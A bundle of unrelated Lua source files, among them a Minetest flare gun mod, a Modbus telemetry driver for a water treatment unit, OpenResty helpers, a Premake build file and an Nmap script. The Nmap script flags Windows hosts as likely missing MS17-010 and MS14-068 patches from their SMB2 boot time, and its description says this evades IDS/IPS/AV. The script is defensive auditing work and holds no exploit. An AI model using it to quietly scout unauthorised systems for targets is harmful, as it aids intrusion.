--[[ Shooter Flare Gun [shooter_flaregun] Copyright (C) 2013-2019 stujones11, Stuart Jones This program is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation; either version 2.1 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with this program; if not, write to the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA. ]]-- minetest.register_craftitem("shooter_flaregun:flare", { description = "Flare", inventory_image = "shooter_flare_inv.png", }) minetest.register_node("shooter_flaregun:flare_light", { drawtype = "glasslike", tiles = {"shooter_flare_light.png"}, paramtype = "light", groups = {not_in_creative_inventory=1}, drop = "", walkable = false, buildable_to = true, sunlight_propagates = true, light_source = 14, pointable = false, }) minetest.register_abm({ nodenames = "shooter_flaregun:flare_light", interval = 5, chance = 1, action = function(pos) local time = os.time() local meta = minetest.get_meta(pos) local init_time = meta:get_int("init_time") or 0 if time > init_time + 30 then local id = meta:get_int("particle_id") if id then minetest.delete_particlespawner(id) end minetest.remove_node(pos) end end, }) minetest.register_entity("shooter_flaregun:flare_entity", { physical = true, timer = 0, visual = "cube", visual_size = {x=1/8, y=1/8}, textures = { "shooter_flare.png", "shooter_flare.png", "shooter_flare.png", "shooter_flare.png", "shooter_flare.png", "shooter_flare.png", }, glow = 14, collisionbox = {-1/16,-1/16,-1/16, 1/16,1/16,1/16}, on_activate = function(self, staticdata) if staticdata == "expired" then self.object:remove() end end, on_step = function(self, dtime) self.timer = self.timer + dtime if self.timer > 0.2 then local pos = self.object:get_pos() local below = {x=pos.x, y=pos.y - 1, z=pos.z} local node = minetest.get_node(below) if node.name ~= "air" then self.object:set_velocity({x=0, y=-10, z=0}) self.object:set_acceleration({x=0, y=0, z=0}) if minetest.get_node(pos).name == "air" and node.name ~= "default:water_source" and node.name ~= "default:water_flowing" then minetest.place_node(pos, {name="shooter_flaregun:flare_light"}) local meta = minetest.get_meta(pos) pos.y = pos.y - 0.1 local id = minetest.add_particlespawner({ amount = 1000, time = 30, minpos = pos, maxpos = pos, minvel = {x=-1, y=1, z=-1}, maxvel = {x=1, y=1, z=1}, minacc = {x=2, y=-2, z=-2}, maxacc = {x=2, y=-2, z=2}, minexptime = 0.1, maxexptime = 0.75, minsize = 1, maxsize = 8, collisiondetection = false, texture = "shooter_flare_particle.png", glow = 14, }) meta:set_int("particle_id", id) meta:set_int("init_time", os.time()) local sound = minetest.sound_play("shooter_flare_burn", { pos = pos, loop = true, max_hear_distance = 8, }) minetest.after(30, function(...) minetest.sound_stop(...) end, sound) end self.object:remove() end self.timer = 0 end end, get_staticdata = function() return "expired" end, }) minetest.register_tool("shooter_flaregun:flaregun", { description = "Flare Gun", inventory_image = "shooter_flaregun.png", on_use = function(itemstack, user) local inv = user:get_inventory() if not inv:contains_item("main", "shooter_flaregun:flare") then minetest.sound_play("shooter_click", {object=user}) return itemstack end if not minetest.setting_getbool("creative_mode") then inv:remove_item("main", "shooter:flare 1") itemstack:add_wear(65535 / 100) end local pos = user:get_pos() local dir = user:get_look_dir() local yaw = user:get_look_horizontal() if pos and dir and yaw then pos.y = pos.y + 1.5 local obj = minetest.add_entity(pos, "shooter_flaregun:flare_entity") if obj then minetest.sound_play("shooter_flare_fire", {object=obj}) obj:set_velocity(vector.multiply(dir, 16)) obj:set_acceleration({x=dir.x * -3, y=-10, z=dir.z * -3}) obj:set_yaw(yaw + math.pi / 2) end end return itemstack end, }) if shooter.config.enable_crafting == true then minetest.register_craft({ output = "shooter_flaregun:flare", type = "shapeless", recipe = {"shooter:gunpowder", "default:paper"}, }) minetest.register_craft({ output = "shooter_flaregun:flaregun", recipe = { {"default:copper_ingot", "default:copper_ingot", "default:copper_ingot"}, {"", "", "default:steel_ingot"} }, }) end --Backwards compatibility minetest.register_alias("shooter:flaregun", "shooter_flaregun:flaregun") minetest.register_alias("shooter:flare", "shooter_flaregun:flare")
do local corofn function corofn() for i=1,10,1 do print2(i) coroutine.yield() end end coro = coroutine.create(corofn) end --print2(coroutine.status(coro)) --coroutine.resume(coro) do closeBuffer() switchToBuffer("dome2.lua") end
VENDOR = "BWT" MODEL = "THERO 120 H2 MB" -- Configuration variables must be also defined -- in `write_configuration` command arguments in manifest.yml IP_ADDRESS_CONFIG = "ip_address" UNIT_ID_CONFIG = "modbus_unit_id" -- Initiate device firmware. Called at the end of the file. function main() scheduler.add(30000, send_properties) scheduler.add(1000, send_telemetry) config.init({ [IP_ADDRESS_CONFIG] = { type = 'string', required = true }, [UNIT_ID_CONFIG] = { type = 'number', required = true }, }) enapter.register_command_handler('reset', command_reset) enapter.register_command_handler('control_ro', command_control_ro) end function send_properties() local properties = {} local device, _ = connect_device() if device then local data = device:read_inputs(26, 1) if data then properties.fw_version = tostring(data[1] >> 8).."."..tostring(data[1] & 0xff) end local data = device:read_inputs(27, 1) if data then properties.hw_version = tostring(data[1] >> 8).."."..tostring(data[1] & 0xff) end else enapter.log("Modbus TCP connection error", 'error') end properties.vendor = VENDOR properties.model = MODEL properties.ip_address = device.addr properties.unit_id = device.unit_id enapter.send_properties(properties) end function send_telemetry() local device, err = connect_device() if not device then if err == 'cannot_read_config' then enapter.send_telemetry({ status = 'error', alerts = {'cannot_read_config'} }) elseif err == 'not_configured' then enapter.send_telemetry({ status = 'ok', alerts = {'not_configured'} }) end return end local telemetry = {} local alerts = {} local data = device:read_inputs(25, 1) if data then table.insert(alerts, get_service_status(data[1])) end local data = device:read_inputs(0, 1) if data then local ro_status, alert = get_ro_status(data[1]) telemetry.ro_status = ro_status if ro_status == "alarm" or ro_status == "unknown" then telemetry.status = 'error' elseif ro_status == "warning" or ro_status == "dripping_faucet_recovery_attempt" then telemetry.status = 'warning' else telemetry.status = 'ok' end if alert then table.insert(alerts, alert) end end local data = device:read_inputs(2, 1) if data then local alarms = get_alarms(data[1]) alerts = table.move(alarms, 1, #alarms, #alerts + 1, alerts) end local data = device:read_inputs(3, 1) if data then telemetry.outlet_permeate_temperature = data[1] / 10.0 end local data = device:read_inputs(4, 1) if data then telemetry.outlet_flow = data[1] end local data = device:read_inputs(5, 1) if data then telemetry.inlet_flow = data[1] end local data = device:read_inputs(7, 1) if data then telemetry.demin_tank_pressure = data[1] / 10.0 end local data = device:read_inputs(8, 1) if data then telemetry.demin_out_conducibility = data[1] end local data = device:read_inputs(9, 1) if data then telemetry.membrane_out_conducibility = data[1] end local data = device:read_inputs(10, 2) if data then telemetry.demin_partial_counter = toint32(data) end local data = device:read_inputs(12, 2) if data then telemetry.ro_membrane_partial_counter = toint32(data) end local data = device:read_inputs(14, 2) if data then telemetry.demin_total_counter = toint32(data) end local data = device:read_inputs(16, 2) if data then telemetry.ro_membrane_total_counter = toint32(data) end local data = device:read_inputs(18, 1) if data then telemetry.ro_pump_service_time = data[1] end local data = device:read_inputs(19, 2) if data then telemetry.demin_capacity = toint32(data) end local data = device:read_inputs(21, 2) if data then telemetry.membrane_capacity = toint32(data) end local data = device:read_inputs(23, 1) if data then telemetry.membrane_day_counter_service_limit = data[1] end local data = device:read_inputs(24, 1) if data then telemetry.ro_membrane_life_days = data[1] end local data = device:read_inputs(28, 1) if data then telemetry.conductivity_unit = data[1] end telemetry.alerts = alerts enapter.send_telemetry(telemetry) end function get_ro_status(value) if value == 1 then return "ready" elseif value == 2 then return "working" elseif value >= 3 and value <= 7 or value == 60 then return "alarm" elseif value == 9 then return "rinse" elseif value == 10 then return "dripping_faucet_recovery_attempt" elseif value == 51 then return "pause" elseif value == 53 or value == 61 then return "warning" elseif value == 54 then return "alarm", "internal_pressure_sensor_failure" else return "unknown" end end function get_service_status(value) local status = {} status[0] = nil status[1] = "A" status[2] = "B" status[3] = "C" status[4] = "AB" status[5] = "AC" status[6] = "BC" status[7] = "ABC" status[49] = "D" status[50] = "AD" status[51] = "BD" status[52] = "CD" status[53] = "ABD" status[54] = "ACD" status[55] = "BCD" status[56] = "ABCD" return status[value] end function get_alarms(value) local alerts = {} if value & 0x0001 ~= 0 then table.insert(alerts, "RO_pump_error") end if value & 0x0002 ~= 0 then table.insert(alerts, "RO_pump_thermal_protection") end if value & 0x0004 ~= 0 then table.insert(alerts, "internal_leak_detected") end if value & 0x0008 ~= 0 then table.insert(alerts, "wcf_too_low") end if value & 0x0010 ~= 0 then table.insert(alerts, "outlet_pressure_transducer_failure") end if value & 0x0040 ~= 0 then table.insert(alerts, "dripping_faucet") end if value & 0x0080 ~= 0 then table.insert(alerts, "inlet_flow_meter") end if value & 0x1000 ~= 0 then table.insert(alerts, "membrane_conductivity_too_high") end if value & 0x2000 ~= 0 then table.insert(alerts, "demin_conductivity_too_high") end return alerts end -- Holds global device connection local device function connect_device() if device then return device, nil end local values, err = config.read_all() if err then enapter.log('cannot read config: '..tostring(err), 'error') return nil, 'cannot_read_config' else local address, unit_id = values[IP_ADDRESS_CONFIG], values[UNIT_ID_CONFIG] if not address or not unit_id then return nil, 'not_configured' else -- Declare global variable to reuse connection between function calls device = BwtTheroModbusTcp.new(address, tonumber(unit_id)) device:connect() return device, nil end end end function command_reset(ctx, args) local value if args.value == "Dripping facet alarm" then value = 0x0040 elseif args.value == "Membrane partial counter" then value = 0x1000 elseif args.value == "Demin partial counter" then value = 0x2000 else ctx.error("Unknown counter or alarm is selected") end if device then local err = device:write_holding(0, value) if err == 0 then return "Reset command is sent" else ctx.error("Command failed, Modbus TCP error: "..tostring(err)) end else ctx.error("Device connection is not configured") end end function command_control_ro(ctx, args) local value if args.enable == true then value = 0 elseif args.enable == false then value = 1 else ctx.error("Invalid value to write. Must be true or false") end if device then local err = device:write_holding(1, value) if err == 0 then return "Reset counter command is sent" else ctx.error("Command failed, Modbus TCP error: "..tostring(err)) end else ctx.error("Device connection is not configured") end end function toint32(data) return string.unpack(">I4", string.pack(">I2I2", data[1], data[2])) end --------------------------------- -- Stored Configuration API --------------------------------- config = {} -- Initializes config options. Registers required UCM commands. -- @param options: key-value pairs with option name and option params -- @example -- config.init({ -- address = { type = 'string', required = true }, -- unit_id = { type = 'number', default = 1 }, -- reconnect = { type = 'boolean', required = true } -- }) function config.init(options) assert(next(options) ~= nil, 'at least one config option should be provided') assert(not config.initialized, 'config can be initialized only once') for name, params in pairs(options) do local type_ok = params.type == 'string' or params.type == 'number' or params.type == 'boolean' assert(type_ok, 'type of `'..name..'` option should be either string or number or boolean') end enapter.register_command_handler('write_configuration', config.build_write_configuration_command(options)) enapter.register_command_handler('read_configuration', config.build_read_configuration_command(options)) config.options = options config.initialized = true end -- Reads all initialized config options -- @return table: key-value pairs -- @return nil|error function config.read_all() local result = {} for name, _ in pairs(config.options) do local value, err = config.read(name) if err then return nil, 'cannot read `'..name..'`: '..err else result[name] = value end end return result, nil end -- @param name string: option name to read -- @return string -- @return nil|error function config.read(name) local params = config.options[name] assert(params, 'undeclared config option: `'..name..'`, declare with config.init') local ok, value, ret = pcall(function() return storage.read(name) end) if not ok then return nil, 'error reading from storage: '..tostring(value) elseif ret and ret ~= 0 then return nil, 'error reading from storage: '..storage.err_to_str(ret) elseif value then return config.deserialize(name, value), nil else return params.default, nil end end -- @param name string: option name to write -- @param val string: value to write -- @return nil|error function config.write(name, val) local ok, ret = pcall(function() return storage.write(name, config.serialize(name, val)) end) if not ok then return 'error writing to storage: '..tostring(ret) elseif ret and ret ~= 0 then return 'error writing to storage: '..storage.err_to_str(ret) end end -- Serializes value into string for storage function config.serialize(_, value) if value then return tostring(value) else return nil end end -- Deserializes value from stored string function config.deserialize(name, value) local params = config.options[name] assert(params, 'undeclared config option: `'..name..'`, declare with config.init') if params.type == 'number' then return tonumber(value) elseif params.type == 'string' then return value elseif params.type == 'boolean' then if value == 'true' then return true elseif value == 'false' then return false else return nil end end end function config.build_write_configuration_command(options) return function(ctx, args) for name, params in pairs(options) do if params.required then assert(args[name], '`'..name..'` argument required') end local err = config.write(name, args[name]) if err then ctx.error('cannot write `'..name..'`: '..err) end end end end function config.build_read_configuration_command(_config_options) return function(ctx) local result, err = config.read_all() if err then ctx.error(err) else return result end end end --------------------------------- -- BWT Thero ModbusTCP API --------------------------------- BwtTheroModbusTcp = {} function BwtTheroModbusTcp.new(addr, unit_id) assert(type(addr) == 'string', 'addr (arg #1) must be string, given: '..inspect(addr)) assert(type(unit_id) == 'number', 'unit_id (arg #2) must be number, given: '..inspect(unit_id)) local self = setmetatable({}, { __index = BwtTheroModbusTcp }) self.addr = addr self.unit_id = unit_id return self end function BwtTheroModbusTcp:connect() self.modbus = modbustcp.new(self.addr) end function BwtTheroModbusTcp:read_inputs(address, number) assert(type(address) == 'number', 'address (arg #1) must be number, given: '..inspect(address)) assert(type(number) == 'number', 'number (arg #1) must be number, given: '..inspect(number)) local registers, err = self.modbus:read_inputs(self.unit_id, address, number, 1000) if err and err ~= 0 then enapter.log('Register '..tostring(address)..' read error: '..err, 'error') if err == 1 then -- Sometimes timeout happens and it may break underlying Modbus client, -- this is a temporary workaround which manually reconnects. self:connect() end return nil end return registers end function BwtTheroModbusTcp:write_holding(address, number) assert(type(address) == 'number', 'address (arg #1) must be number, given: '..inspect(address)) assert(type(number) == 'number', 'number (arg #1) must be number, given: '..inspect(number)) local err = self.modbus:write_holding(self.unit_id, address, number, 1000) if err ~= 0 then enapter.log('Register '..tostring(address)..' write error: '..err, 'error') if err == 1 then -- Sometimes timeout happens and it may break underlying Modbus client, -- this is a temporary workaround which manually reconnects. self:connect() end end return err end main()
local sub = string.sub local tonumber = tonumber local redis = require 'resty.redis' local env = require 'resty.env' local resty_resolver = require 'resty.resolver' local resty_balancer = require 'resty.balancer' local resty_url = require 'resty.url' local _M = {} -- public interface local redis_conf = { timeout = 3000, -- 3 seconds keepalive = 10000, -- milliseconds poolsize = 1000 -- # connections } -- private -- Logging Helpers function _M.show_table(t) local indent = 0 --arg[1] or 0 local indentStr="" local msg for _ = 1,indent do indentStr=indentStr.." " end for k,v in pairs(t) do if type(v) == "table" then msg = indentStr .. _M.show_table(v or '', indent+1) else msg = indentStr .. k .. " => " .. v end _M.log_message(msg) end end function _M.log_message(str) ngx.log(0, str) end function _M.newline() ngx.log(0," --- ") end function _M.log(content) if type(content) == "table" then _M.log_message(_M.show_table(content)) else _M.log_message(content) end _M.newline() end -- End Logging Helpers -- Table Helpers function _M.keys(t) local n=0 local keyset = {} for k,_ in pairs(t) do n=n+1 keyset[n]=k end return keyset end -- End Table Helpers function _M.dump(o) if type(o) == 'table' then local s = '{ ' for k,v in pairs(o) do if type(k) ~= 'number' then k = '"'..k..'"' end s = s .. '['..k..'] = ' .. _M.dump(v) .. ',' end return s .. '} ' else return tostring(o) end end function _M.sha1_digest(s) local str = require "resty.string" return str.to_hex(ngx.sha1_bin(s)) end -- returns true iif all elems of f_req are among actual's keys function _M.required_params_present(f_req, actual) local req = {} for k,_ in pairs(actual) do req[k] = true end for _,v in ipairs(f_req) do if not req[v] then return false end end return true end local balancer = resty_balancer.new(function(peers) return peers[1] end) function _M.resolve(host, port) local resolver = resty_resolver:instance() local servers = resolver:get_servers(host, { port = port }) local peers = balancer:peers(servers) local peer = balancer:select_peer(peers) local ip = host if peer then ip = peer[1] port = peer[2] end return ip, port end function _M.connect_redis(options) local opts = {} local url = options and options.url or env.get('REDIS_URL') if url then url = resty_url.split(url, 'redis') if url then opts.host = url[4] opts.port = url[5] opts.db = url[6] and tonumber(sub(url[6], 2)) opts.password = url[3] or url[2] end elseif options then opts.host = options.host opts.port = options.port opts.db = options.db opts.password = options.password end opts.timeout = options and options.timeout or redis_conf.timeout local host = opts.host or env.get('REDIS_HOST') or "127.0.0.1" local port = opts.port or env.get('REDIS_PORT') or 6379 local red = redis:new() red:set_timeout(opts.timeout) local ok, err = red:connect(_M.resolve(host, port)) if not ok then return nil, _M.error("failed to connect to redis on ", host, ":", port, ": ", err) end if opts.password then ok = red:auth(opts.password) if not ok then return nil, _M.error("failed to auth on redis ", host, ":", port) end end if opts.db then ok = red:select(opts.db) if not ok then return nil, _M.error("failed to select db ", opts.db, " on redis ", host, ":", port) end end return red end -- return ownership of this connection to the pool function _M.release_redis(red) red:set_keepalive(redis_conf.keepalive, redis_conf.poolsize) end local xml_header_len = string.len('<?xml version="1.0" encoding="UTF-8"?>') function _M.match_xml_element(xml, element, value) if not xml then return nil end local pattern = string.format('<%s>%s</%s>', element, value, element) return string.find(xml, pattern, xml_header_len, xml_header_len, true) end -- error and exit function _M.error(...) if ngx.get_phase() == 'timer' then return table.concat(table.pack(...)) else ngx.status = ngx.HTTP_INTERNAL_SERVER_ERROR ngx.say(...) ngx.exit(ngx.status) end end function _M.missing_args(text) ngx.say(text) ngx.exit(ngx.HTTP_OK) end --- -- Builds a query string from a table. -- -- This is the inverse of <code>parse_query</code>. -- @param query A dictionary table where <code>table['name']</code> = -- <code>value</code>. -- @return A query string (like <code>"name=value2&name=value2"</code>). ----------------------------------------------------------------------------- function _M.build_query(query) local qstr = "" for i,v in pairs(query) do qstr = qstr .. i .. '=' .. v .. '&' end return string.sub(qstr, 0, #qstr-1) end return _M -- -- Example usage: -- local MM = require 'mymodule' -- MM.bar()
-- Premake5 file to generate project files for all supported platforms -- Author: Steven Savold -- workspace (Solution) for the entire enigne and other addons/plugins workspace "HazmatBrowser" architecture "x86_64" startproject "HazmatBrowser" configurations { "Debug", "Release" } outputdir = "%{cfg.buildcfg}-%{cfg.system}-%{cfg.architecture}" IncludeDir = {} IncludeDir["hazmat_renderer"] = "HazmatRenderEngine/src" IncludeDir["spdlog"] = "vendor/lib/hazel/Hazel/vendor/spdlog/include" IncludeDir["gumbo"] = "vendor/lib/gumbo-parser/src" IncludeDir["hazel"] = "vendor/lib/hazel/Hazel/src" IncludeDir["GLFW"] = "%{wks.location}/vendor/lib/hazel/Hazel/vendor/GLFW/include" IncludeDir["Glad"] = "%{wks.location}/vendor/lib/hazel/Hazel/vendor/Glad/include" IncludeDir["ImGui"] = "%{wks.location}/vendor/lib/hazel/Hazel/vendor/imgui" IncludeDir["glm"] = "%{wks.location}/vendor/lib/hazel/Hazel/vendor/glm" IncludeDir["stb_image"] = "%{wks.location}/vendor/lib/hazel/Hazel/vendor/stb_image" IncludeDir["entt"] = "%{wks.location}/vendor/lib/hazel/Hazel/vendor/entt/include" IncludeDir["yaml_cpp"] = "%{wks.location}/vendor/lib/hazel/Hazel/vendor/yaml-cpp/include" -- Definition of Browser Application Project project "HazmatBrowser" location "HazmatBrowser" kind "ConsoleApp" language "C++" cppdialect "C++17" systemversion "latest" staticruntime "on" targetdir ("bin/" .. outputdir .. "/%{prj.name}") objdir ("bin-int/" .. outputdir .. "/%{prj.name}") files { "%{prj.name}/src/**.cpp", "%{prj.name}/src/**.h" } includedirs { "%{prj.name}/src", "%{IncludeDir.hazmat_renderer}", "%{IncludeDir.spdlog}", "%{IncludeDir.gumbo}", "%{IncludeDir.hazel}", "%{IncludeDir.GLFW}", "%{IncludeDir.Glad}", "%{IncludeDir.ImGui}", "%{IncludeDir.glm}", "%{IncludeDir.stb_image}", "%{IncludeDir.entt}", "%{IncludeDir.yaml_cpp}" } links { "HazmatRenderEngine", "Hazel" } filter "system:windows" defines { "HAZMAT_PLATFORM_WINDOWS" } filter "system:linux" defines { "HAZMAT_PLATFORM_LINUX" } filter "system:macosx" defines { "HAZMAT_PLATFORM_MACOS" } -- Filter for Debug configuration filter "configurations:Debug*" defines { "HAZMAT_DEBUG" } runtime "Debug" symbols "on" -- turn debug symbols ON -- Filter for Release configuration filter "configurations:Release*" defines { "HAZMAT_RELEASE" } runtime "Release" optimize "Full" -- turn on Full optimizations -- Definition of Browser Application Project project "HazmatRenderEngine" location "HazmatRenderEngine" kind "StaticLib" language "C++" cppdialect "C++17" systemversion "latest" staticruntime "on" targetdir ("bin/" .. outputdir .. "/%{prj.name}") objdir ("bin-int/" .. outputdir .. "/%{prj.name}") files { "%{prj.name}/src/**.cpp", "%{prj.name}/src/**.h" } includedirs { "%{prj.name}/src", "%{IncludeDir.spdlog}", "%{IncludeDir.gumbo}", "%{IncludeDir.glm}" } links { "Gumbo" } filter "system:windows" defines { "HAZMAT_PLATFORM_WINDOWS" } filter "system:linux" defines { "HAZMAT_PLATFORM_LINUX" } filter "system:macosx" defines { "HAZMAT_PLATFORM_MACOS" } -- Filter for Debug configuration filter "configurations:Debug*" defines { "HAZMAT_DEBUG" } runtime "Debug" symbols "on" -- turn debug symbols ON -- Filter for Release configuration filter "configurations:Release*" defines { "HAZMAT_RELEASE" } runtime "Release" optimize "Full" -- turn on Full optimizations group "Depends" -- Definition of the Gumbo Parser Library project "Gumbo" location "vendor/lib/gumbo-parser" kind "StaticLib" language "C" systemversion "latest" staticruntime "on" targetdir ("bin/" .. outputdir .. "/%{prj.name}") objdir ("bin-int/" .. outputdir .. "/%{prj.name}") files { "vendor/lib/gumbo-parser/src/**.c" } includedirs { "vendor/lib/gumbo-parser/visualc/include" } -- include the Hazel Renderer in this project -- Include directories for Hazel relative to root folder (solution directory) include "vendor/lib/hazel/Hazel" include "vendor/lib/hazel/Hazel/vendor/GLFW" include "vendor/lib/hazel/Hazel/vendor/Glad" include "vendor/lib/hazel/Hazel/vendor/imgui" include "vendor/lib/hazel/Hazel/vendor/yaml-cpp" group ""
local x do local y = 12 goto l1 ::l2:: x = x + 1; goto l3 ::l1:: x = y; goto l2 end ::l3:: ::l3_1:: assert(x == 13)
module(..., package.seeall) local spineboy function onCreate() local layer = flower.Layer() layer:setScene(scene) layer:setSortMode(MOAILayer.SORT_PRIORITY_ASCENDING) spineboy = spine.Skeleton("spineboy_atlas/spineboy.json", "spineboy_atlas/spineboy.atlas") spineboy:setLayer(layer) spineboy:setLoc(140, 400) spineboy:playAnim('walk', true) end function onClose(e) spineboy:stopAnim() end
-- Copyright (C) Dejiang Zhu (doujiang24) local pairs = pairs local insert = table.insert local type = type local ok, new_tab = pcall(require, "table.new") if not ok then new_tab = function (narr, nrec) return {} end end local _M = { _VERSION = '0.01' } function _M.filter(tbl, func) local ret = {} for k, v in pairs(tbl) do if not func(v) then ret[k] = v end end return ret end function _M.in_tbl(value, tbl) for _k, v in pairs(tbl) do if v == value then return true end end return nil end local function copy(tbl) local ret = {} for k, v in pairs(tbl) do if "table" == type(v) then ret[k] = copy(v) else ret[k] = v end end return ret end _M.copy = copy -- append: append tbl2 to tbl1 when is true; default nil -- tbl1, tbl2 should not be mix hash table function _M.merge(tbl1, tbl2, append) local ret = tbl1 if not append then ret = copy(tbl1) end for k, v in pairs(tbl2) do if type(k) == "number" then insert(ret, v) else ret[k] = v end end return ret end function _M.slice(tbl, offset, length) local ret = {} local fend = length and ((offset + length) <= #tbl) and (offset + length - 1) or #tbl for i = offset, fend, 1 do insert(ret, tbl[i]) end return ret end function _M.keys(tbl) local ret = {} for k, _v in pairs(tbl) do ret[#ret + 1] = k end return ret end function _M.values(tbl, key) local ret = {} for _k, v in pairs(tbl) do ret[#ret + 1] = key and v[key] or v end return ret end function _M.array_to_hash(t) local n = #t local h = new_tab(0, n / 2) for i = 1, n, 2 do h[t[i]] = t[i + 1] end return h end return _M
local smb = require "smb" local vulns = require "vulns" local stdnse = require "stdnse" local string = require "string" local smb2 = require "smb2" local table = require "table" description = [[ Attempts to detect missing patches in Windows systems by checking the uptime returned during the SMB2 protocol negotiation. SMB2 protocol negotiation response returns the system boot time pre-authentication. This information can be used to determine if a system is missing critical patches without triggering IDS/IPS/AVs. Remember that a rebooted system may still be vulnerable. This check only reveals unpatched systems based on the uptime, no additional probes are sent. References: * https://twitter.com/breakersall/status/880496571581857793 ]] --- -- @usage nmap -O --script smb2-vuln-uptime <target> -- @usage nmap -p445 --script smb2-vuln-uptime --script-args smb2-vuln-uptime.skip-os=true <target> -- -- @output -- | smb2-vuln-uptime: -- | VULNERABLE: -- | MS17-010: Security update for Windows SMB Server -- | State: LIKELY VULNERABLE -- | IDs: ms:ms17-010 CVE:2017-0147 -- | This system is missing a security update that resolves vulnerabilities in -- | Microsoft Windows SMB Server. -- | -- | References: -- | https://cve.mitre.org/cgi-bin/cvename.cgi?name=2017-0147 -- |_ https://technet.microsoft.com/en-us/library/security/ms17-010.aspx -- -- @xmloutput -- <table key="2017-0147"> -- <elem key="title">MS17-010: Security update for Windows SMB Server</elem> -- <elem key="state">LIKELY VULNERABLE</elem> -- <table key="ids"> -- <elem>CVE:2017-0147</elem> -- <elem>ms:ms17-010</elem> -- </table> -- <table key="description"> -- <elem>This system is missing a security update that resolves vulnerabilities in&#xa; Microsoft Windows SMB Server.&#xa;</elem> -- </table> -- <table key="refs"> -- <elem>https://cve.mitre.org/cgi-bin/cvename.cgi?name=2017-0147</elem> -- <elem>https://technet.microsoft.com/en-us/library/security/ms17-010.aspx</elem> -- </table> -- </table> -- -- @args smb2-vuln-uptime.skip-os Ignore OS detection results and show results --- author = "Paulino Calderon <calderon()calderonpale.com>" license = "Same as Nmap--See https://nmap.org/book/man-legal.html" categories = {"vuln", "safe"} hostrule = function(host) local ms = false local os_detection = stdnse.get_script_args(SCRIPT_NAME .. ".skip-os") or false if host.os then for k, v in pairs(host.os) do -- Loop through OS matches if string.match(v['name'], "Microsoft") then ms = true end end end return (smb.get_port(host) ~= nil and ms) or (os_detection) end local ms_vulns = { { title = 'MS17-010: Security update for Windows SMB Server', ids = {ms = "ms17-010", CVE = "2017-0147"}, desc = [[ This system is missing a security update that resolves vulnerabilities in Microsoft Windows SMB Server. ]], disclosure_time = 1489471200, disclosure_date = {year=2017, month=3, day=14}, references = { 'https://technet.microsoft.com/en-us/library/security/ms17-010.aspx', }, }, { title = 'Microsoft Kerberos Checksum Vulnerability', ids = {ms = "ms14-068", CVE = "2014-6324"}, desc = [[ This security update resolves a privately reported vulnerability in Microsoft Windows Kerberos KDC that could allow an attacker to elevate unprivileged domain user account privileges to those of the domain administrator account. ]], disclosure_time = 1416290400, disclosure_date = {year=2014, month=11, day=18}, references = { 'https://technet.microsoft.com/en-us/library/security/ms14-068.aspx' }, }, } local function check_vulns(host, port) local smbstate, status, overrides local vulns_detected = {} overrides = {} overrides['Dialects'] = {0x0202} status, smbstate = smb.start(host) status = smb2.negotiate_v2(smbstate, overrides) if status then stdnse.debug2("SMB2: Date: %s (%s) Start date:%s (%s)", smbstate['date'], smbstate['time'], smbstate['start_date'], smbstate['start_time']) for _, vuln in pairs(ms_vulns) do if smbstate['start_time'] < vuln['disclosure_time'] then stdnse.debug2("Vulnerability detected") vuln.extra_info = string.format("The system hasn't been rebooted since %s", smbstate['start_date']) table.insert(vulns_detected, vuln) end end else stdnse.debug2("Negotiation failed") return nil, "Protocol negotiation failed (SMB2)" end return true, vulns_detected end action = function(host,port) local status, vulnerabilities local report = vulns.Report:new(SCRIPT_NAME, host, port) status, vulnerabilities = check_vulns(host, port) if status then for i, v in pairs(vulnerabilities) do local vuln = { title = v['title'], description = v['desc'], references = v['references'], disclosure_date = v['disclosure_date'], IDS = v['ids']} vuln.state = vulns.STATE.LIKELY_VULN vuln.extra_info = v['extra_info'] report:add_vulns(SCRIPT_NAME, vuln) end end return report:make_output() end
-- TODO support remaining arguments local units, chrspecialization, specIndex = ... local player = units.guids[units.aliases.player] local roles = { [0] = 'TANK', [1] = 'HEALER', [2] = 'DAMAGER', } for row in chrspecialization() do if row.ClassID == player.class and row.OrderIndex == specIndex - 1 then return row.ID, player.sex == 2 and row.FemaleName_lang or row.Name_lang, row.Description_lang, row.SpellIconFileID, roles[row.Role], 0 -- TODO implement primary stat end end
--[[ © Justin Snelgrove © Morgane Parize Permission to use, copy, modify, and distribute this software for any purpose with or without fee is hereby granted, provided that the above copyright notice and this permission notice appear in all copies. THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE. ]] local Chomp = LibStub:GetLibrary("Chomp", true) local Internal = Chomp and Chomp.Internal or nil if not Chomp or not Internal or not Internal.LOADING then return end local DEFAULT_PRIORITY = "MEDIUM" local PRIORITIES_HASH = { HIGH = true, MEDIUM = true, LOW = true } local PRIORITY_TO_CTL = { LOW = "BULK", MEDIUM = "NORMAL", HIGH = "ALERT" } local OVERHEAD = 27 local function QueueMessageOut(func, ...) if not Internal.OutgoingQueue then Internal.OutgoingQueue = {} end local t = { ... } t.f = func t.n = select("#", ...) local q = Internal.OutgoingQueue q[#q + 1] = t end function Chomp.SendAddonMessage(prefix, text, kind, target, priority, queue, callback, callbackArg) if type(prefix) ~= "string" then error("Chomp.SendAddonMessage: prefix: expected string, got " .. type(prefix), 2) elseif type(text) ~= "string" then error("Chomp.SendAddonMessage: text: expected string, got " .. type(text), 2) elseif kind == "WHISPER" and type(target) ~= "string" then error("Chomp.SendAddonMessage: target: expected string, got " .. type(target), 2) elseif kind == "CHANNEL" and type(target) ~= "number" then error("Chomp.SendAddonMessage: target: expected number, got " .. type(target), 2) elseif priority and not PRIORITIES_HASH[priority] then error("Chomp.SendAddonMessage: priority: expected \"HIGH\", \"MEDIUM\", \"LOW\", or nil, got " .. tostring(priority), 2) elseif queue and type(queue) ~= "string" then error("Chomp.SendAddonMessage: queue: 